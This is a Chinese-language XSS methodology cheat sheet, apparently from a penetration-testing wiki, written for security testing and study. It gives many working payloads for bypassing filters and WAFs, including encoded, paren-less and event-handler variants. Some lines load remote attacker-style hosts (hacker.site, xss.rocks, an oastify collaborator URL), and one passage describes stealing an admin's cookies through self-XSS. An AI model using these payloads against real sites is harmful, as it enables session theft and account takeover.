XSS (跨站脚本攻击)
Reading time: 62 minutes
方法论
- 检查 任何你控制的值 (参数、路径、头部?、cookies?) 是否在 HTML 中被 反射 或 被 JS 代码 使用。
- 找到上下文,查看它是如何被反射/使用的。
- 如果 被反射:
- 检查 你可以使用哪些符号,并根据此准备有效载荷:
- 在 原始 HTML 中:
- 你能创建新的 HTML 标签吗?
- 你能使用支持
javascript:
协议的事件或属性吗? - 你能绕过保护措施吗?
- HTML 内容是否被任何客户端 JS 引擎 (AngularJS、VueJS、Mavo...) 解释,你可以利用 客户端模板注入。
- 如果你不能创建执行 JS 代码的 HTML 标签,你能利用 悬挂标记 - 无脚本 HTML 注入 吗?
- 在 HTML 标签内:
- 你能退出到原始 HTML 上下文吗?
- 你能创建新的事件/属性来执行 JS 代码吗?
- 你被困的属性是否支持 JS 执行?
- 你能绕过保护措施吗?
- 在 JavaScript 代码中:
- 你能逃逸
<script>
标签吗? - 你能逃逸字符串并执行不同的 JS 代码吗?
- 你的输入是否在模板字面量 `` 中?
- 你能绕过保护措施吗?
- 被 执行的 Javascript 函数:
- 你可以指明要执行的函数名称。例如:
?callback=alert(1)
- 如果 被使用:
- 你可以利用 DOM XSS,注意你的输入是如何被控制的,以及你的 受控输入是否被任何接收器使用。
在处理复杂的 XSS 时,你可能会发现了解以下内容很有趣:
反射值
为了成功利用 XSS,你需要找到的第一件事是 一个由你控制的值在网页中被反射。
- 中间反射:如果你发现参数的值甚至路径在网页中被反射,你可以利用 反射型 XSS。
- 存储并反射:如果你发现一个由你控制的值被保存在服务器中,并且每次访问页面时都会被反射,你可以利用 存储型 XSS。
- 通过 JS 访问:如果你发现一个由你控制的值通过 JS 被访问,你可以利用 DOM XSS。
上下文
在尝试利用 XSS 时,你需要知道的第一件事是 你的输入在哪里被反射。根据上下文,你将能够以不同的方式执行任意 JS 代码。
原始 HTML
如果你的输入在 原始 HTML 页面中被 反射,你需要利用某些 HTML 标签 来执行 JS 代码:<img , <iframe , <svg , <script
... 这些只是你可以使用的许多可能的 HTML 标签中的一些。
此外,请记住 客户端模板注入。
在 HTML 标签属性内
如果你的输入在标签的属性值中被反射,你可以尝试:
- 逃逸属性和标签(然后你将处于原始 HTML 中)并创建新的 HTML 标签进行利用:
"><img [...]
- 如果你 可以逃逸属性但不能逃逸标签(
>
被编码或删除),根据标签的不同,你可以 创建一个事件 来执行 JS 代码:" autofocus onfocus=alert(1) x="
- 如果你 无法逃逸属性(
"
被编码或删除),那么根据 你的值被反射在哪个属性 以及 你是否控制整个值或仅部分值,你将能够进行利用。例如,如果你控制一个事件如onclick=
,你将能够使其在点击时执行任意代码。另一个有趣的 例子 是属性href
,你可以使用javascript:
协议来执行任意代码:href="javascript:alert(1)"
- 如果你的输入在 "不可利用的标签" 内被反射,你可以尝试
accesskey
技巧来利用这个漏洞(你将需要某种社交工程来利用它):`" accesskey="x" onclick="alert(1)" x="
如果你控制类名,Angular 执行 XSS 的奇怪例子:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Inside JavaScript code
在这种情况下,您的输入反映在 HTML 页面中的 <script> [...] </script>
标签之间,或者在 .js
文件中,或在使用 javascript:
协议的属性中:
- 如果反映在
<script> [...] </script>
标签之间,即使您的输入在任何类型的引号内,您可以尝试注入</script>
并从此上下文中逃脱。这是有效的,因为 浏览器会首先解析 HTML 标签 然后解析内容,因此,它不会注意到您注入的</script>
标签在 HTML 代码中。 - 如果反映 在 JS 字符串内,并且最后的技巧不起作用,您需要 退出 字符串,执行 您的代码并 重构 JS 代码(如果有任何错误,它将不会被执行):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- 如果反映在模板字面量中,您可以使用
${ ... }
语法 嵌入 JS 表达式:var greetings = `Hello, ${alert(1)}`
- Unicode 编码 可用于编写 有效的 javascript 代码:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting 指的是在使用后声明函数、变量或类的机会,因此您可以利用使用未声明的变量或函数的 XSS 场景。
有关更多信息,请查看以下页面:
Javascript Function
一些网页有端点接受作为参数要执行的函数名称。在实际中常见的例子是类似于:?callback=callbackFunc
。
找出用户直接提供的内容是否尝试被执行的一个好方法是修改参数值(例如改为 'Vulnerable'),并在控制台中查找错误,例如:
如果它是脆弱的,您可能能够触发一个警报,只需发送值:?callback=alert(1)
。然而,这些端点通常会验证内容,只允许字母、数字、点和下划线([\w\._]
)。
然而,即使有这个限制,仍然可以执行一些操作。这是因为您可以使用这些有效字符来访问 DOM 中的任何元素:
一些有用的函数:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
您还可以尝试直接触发 Javascript 函数:obj.sales.delOrders
。
然而,通常执行所指示函数的端点是没有太多有趣 DOM 的端点,同一源中的其他页面将具有更有趣的 DOM以执行更多操作。
因此,为了在不同 DOM 中滥用此漏洞,开发了同源方法执行 (SOME) 利用:
SOME - Same Origin Method Execution
DOM
有JS 代码不安全地使用一些由攻击者控制的数据,如 location.href
。攻击者可以利用这一点执行任意 JS 代码。
通用 XSS
这种类型的 XSS 可以在任何地方找到。它们不仅仅依赖于对 Web 应用程序的客户端利用,而是依赖于任何****上下文。这种任意 JavaScript 执行甚至可以被滥用以获得RCE、读取客户端和服务器中的任意****文件等。
一些示例:
WAF 绕过编码图像
在原始 HTML 中注入
当您的输入在HTML 页面中被反射或您可以在此上下文中转义并注入 HTML 代码时,您需要做的第一件事是检查您是否可以滥用 <
来创建新标签:只需尝试反射该字符并检查它是否被HTML 编码或删除,或者是否未更改地反射。只有在最后一种情况下,您才能利用此情况。
对于这些情况,还请记住 客户端模板注入。
注意:HTML 注释可以使用********-->
****或 ******--!>
**
在这种情况下,如果没有使用黑/白名单,您可以使用以下有效负载:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
但是,如果使用了标签/属性的黑白名单,您需要暴力破解可以创建的标签。
一旦您找到了允许的标签,您需要暴力破解属性/事件,以查看如何攻击该上下文。
标签/事件暴力破解
访问 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet,然后点击 复制标签到剪贴板。然后,使用 Burp intruder 发送所有标签,并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签,您可以使用有效标签暴力破解所有事件(在同一网页上点击 复制事件到剪贴板,并按照之前的相同程序进行操作)。
自定义标签
如果您没有找到任何有效的 HTML 标签,您可以尝试创建一个自定义标签并使用 onfocus
属性执行 JS 代码。在 XSS 请求中,您需要以 #
结束 URL,以使页面聚焦于该对象并执行代码:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
黑名单绕过
如果正在使用某种黑名单,您可以尝试通过一些简单的技巧来绕过它:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
长度绕过(小型 XSS)
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
最后一个使用了两个 Unicode 字符,扩展为五个:telsr
更多这些字符可以在 这里 找到。
要检查哪些字符被分解,请查看 这里。
Click XSS - Clickjacking
如果为了利用该漏洞,您需要 用户点击一个链接或一个带有预填充数据的表单,您可以尝试 滥用 Clickjacking(如果页面存在漏洞)。
不可能 - 悬挂标记
如果您认为 创建一个带有执行 JS 代码的属性的 HTML 标签是不可能的,您应该检查 悬挂标记,因为您可以 在不执行 JS 代码的情况下 利用 该漏洞。
在 HTML 标签内注入
在标签内/从属性值中转义
如果您在 HTML 标签内,您可以尝试的第一件事是 从标签中转义,并使用 上一节 中提到的一些技术来执行 JS 代码。
如果您 无法从标签中转义,您可以在标签内创建新的属性以尝试执行 JS 代码,例如使用一些有效载荷(请注意,在此示例中使用双引号从属性中转义,如果您的输入直接反映在标签内,则不需要它们):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
样式事件
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Within the attribute
即使你无法从属性中逃脱("
被编码或删除),根据你的值反射在哪个属性中,如果你控制所有值或只是部分值,你仍然能够利用它。例如,如果你控制一个事件如onclick=
,你将能够在点击时执行任意代码。
另一个有趣的例子是属性href
,你可以使用javascript:
协议来执行任意代码:href="javascript:alert(1)"
通过HTML编码/URL编码绕过事件
HTML标签属性值中的HTML编码字符在运行时会被解码。因此,像以下内容将是有效的(有效负载用粗体表示):<a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Go Back </a>
请注意任何类型的HTML编码都是有效的:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
注意,URL 编码也会有效:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
通过使用Unicode编码绕过内部事件
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
特殊协议在属性中
在某些地方,您可以使用协议 javascript:
或 data:
来 执行任意 JS 代码。有些将需要用户交互,有些则不需要。
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
可以注入这些协议的地方
一般来说 javascript:
协议可以 用于任何接受 href
属性的标签,以及 大多数 接受 src
属性的标签(但不包括 <img>
)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
其他混淆技巧
在这种情况下,上一节中的HTML编码和Unicode编码技巧也是有效的,因为您在一个属性内。
<a href="javascript:var a=''-alert(1)-''">
此外,还有另一个 不错的技巧:即使你在 javascript:...
中的输入被 URL 编码,它在执行之前会被 URL 解码。 所以,如果你需要使用 单引号 从 字符串 中 逃逸,并且你看到 它被 URL 编码,请记住 这没关系, 它在 执行 时会被 解释 为 单引号。
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
注意,如果你尝试以任何顺序同时使用 URLencode + HTMLencode
来编码 payload,它 将不起作用,但你可以在 payload 内部 混合它们。
使用 Hex 和 Octal 编码与 javascript:
你可以在 iframe
的 src
属性中(至少)使用 Hex 和 Octal 编码 来声明 HTML 标签以执行 JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
反向标签劫持
<a target="_blank" rel="opener"
如果您可以在任意 <a href=
标签中注入任何 URL,并且该标签包含 target="_blank" 和 rel="opener"
属性,请查看 以下页面以利用此行为:
事件处理程序绕过
首先查看此页面 (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) 以获取有用的 "on" 事件处理程序。
如果有某些黑名单阻止您创建这些事件处理程序,您可以尝试以下绕过:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
从这里 现在可以利用隐藏输入:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
在meta标签中:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
从这里:您可以在隐藏属性中执行XSS有效负载,前提是您能够说服****受害者按下键组合。在Firefox Windows/Linux上,键组合是ALT+SHIFT+X,在OS X上是CTRL+ALT+X。您可以使用访问键属性中的不同键指定不同的键组合。这里是向量:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS有效载荷将类似于:" accesskey="x" onclick="alert(1)" x="
黑名单绕过
本节中已经揭示了几种使用不同编码的技巧。请返回学习您可以使用的地方:
- HTML编码(HTML标签)
- Unicode编码(可以是有效的JS代码):
\u0061lert(1)
- URL编码
- 十六进制和八进制编码
- 数据编码
HTML标签和属性的绕过
阅读上一节的黑名单绕过。
JavaScript代码的绕过
CSS小工具
如果您在网络的非常小的部分发现了XSS,并且需要某种交互(也许是页脚中的一个小链接,带有onmouseover元素),您可以尝试修改该元素占据的空间以最大化触发链接的概率。
例如,您可以在元素中添加一些样式,如:position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
但是,如果WAF正在过滤样式属性,您可以使用CSS样式小工具,因此如果您发现,例如
.test {display:block; color: blue; width: 100%}
和
#someid {top: 0; font-family: Tahoma;}
现在您可以修改我们的链接并将其变为
<a href="" id=someid class=test onclick=alert() a="">
在JavaScript代码中注入
在这些情况下,您的输入将反映在.js文件的JS代码中,或在<script>...</script>
标签之间,或在可以执行JS代码的HTML事件之间,或在接受javascript:
协议的属性之间。
转义<script>标签
如果您的代码插入在<script> [...] var input = 'reflected data' [...] </script>
中,您可以轻松地**转义关闭<script>
**标签:
</script><img src=1 onerror=alert(document.domain)>
注意,在这个例子中我们甚至没有关闭单引号。这是因为HTML 解析首先由浏览器执行,这涉及到识别页面元素,包括脚本块。解析 JavaScript 以理解和执行嵌入的脚本是在之后进行的。
在 JS 代码内部
如果 <>
被清理,你仍然可以转义字符串,在你的输入所在的位置并执行任意 JS。修复 JS 语法是很重要的,因为如果有任何错误,JS 代码将不会被执行:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
模板字面量 ``
为了构造 字符串,除了单引号和双引号,JS 还接受 反引号 ``
。这被称为模板字面量,因为它们允许使用 ${ ... }
语法 嵌入 JS 表达式。
因此,如果你发现你的输入在使用反引号的 JS 字符串中被 反射,你可以利用语法 ${ ... }
来执行 任意 JS 代码:
这可以通过以下方式 滥用:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``````````````
编码代码执行
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Unicode 编码 JS 执行
alert(1)
alert(1)
alert(1)
JavaScript 绕过黑名单技术
字符串
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
特殊转义
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
在JS代码中的空格替换
<TAB>
/**/
JavaScript 注释 (来自 JavaScript 注释 技巧)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript 新行(来自 JavaScript 新行 技巧)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript 空格
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
在注释中的Javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
没有括号的JavaScript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
```
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**任意函数(alert)调用**
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">`javascript</span></div>
````javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
```
## **DOM 漏洞**
有 **JS 代码** 使用 **由攻击者控制的不安全数据**,如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
**由于对** [**DOM 漏洞的解释扩展到此页面**](dom-xss.md)**:**
<a class="content_ref" href="dom-xss.md"><span class="content_ref_label">DOM XSS</span></a>
在这里你会找到关于 **DOM 漏洞是什么、如何引发以及如何利用它们的详细解释**。\
此外,不要忘记在 **提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
### 升级 Self-XSS
### Cookie XSS
如果你可以通过在 cookie 中发送有效负载来触发 XSS,这通常是自我 XSS。然而,如果你发现一个 **易受 XSS 攻击的子域名**,你可以利用这个 XSS 在整个域中注入一个 cookie,从而在主域或其他子域(易受 cookie XSS 攻击的那些)中触发 cookie XSS。为此,你可以使用 cookie tossing 攻击:
<a class="content_ref" href="../hacking-with-cookies/cookie-tossing.md"><span class="content_ref_label">Cookie Tossing</span></a>
你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到这个技术的一个很好的滥用示例。
### 将你的会话发送给管理员
也许用户可以与管理员共享他的个人资料,如果自我 XSS 在用户的个人资料中,而管理员访问了它,他将触发该漏洞。
### 会话镜像
如果你发现一些自我 XSS,并且网页有 **管理员的会话镜像**,例如允许客户请求帮助,为了帮助你,管理员将看到你在你的会话中看到的内容,但从他的会话中。
你可以让 **管理员触发你的自我 XSS** 并窃取他的 cookies/会话。
## 其他绕过
### 规范化 Unicode
你可以检查 **反射值** 是否在服务器(或客户端)中 **进行 Unicode 规范化**,并利用此功能绕过保护。 [**在这里找到一个示例**](../unicode-injection/index.html#xss-cross-site-scripting)。
### PHP FILTER_VALIDATE_EMAIL 标志绕过
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>
```javascript
"><svg/onload=confirm(1)>"@x.y
```
### Ruby-On-Rails 绕过
由于 **RoR 大量赋值**,引号被插入到 HTML 中,然后绕过引号限制,并且可以在标签内添加额外字段 (onfocus)。\
表单示例 ([来自此报告](https://hackerone.com/reports/709336)),如果您发送有效负载:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
成对的 "Key","Value" 将被回显如下:
```
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
```
然后,将插入 onfocus 属性,并发生 XSS。
### 特殊组合
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>
```markup
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
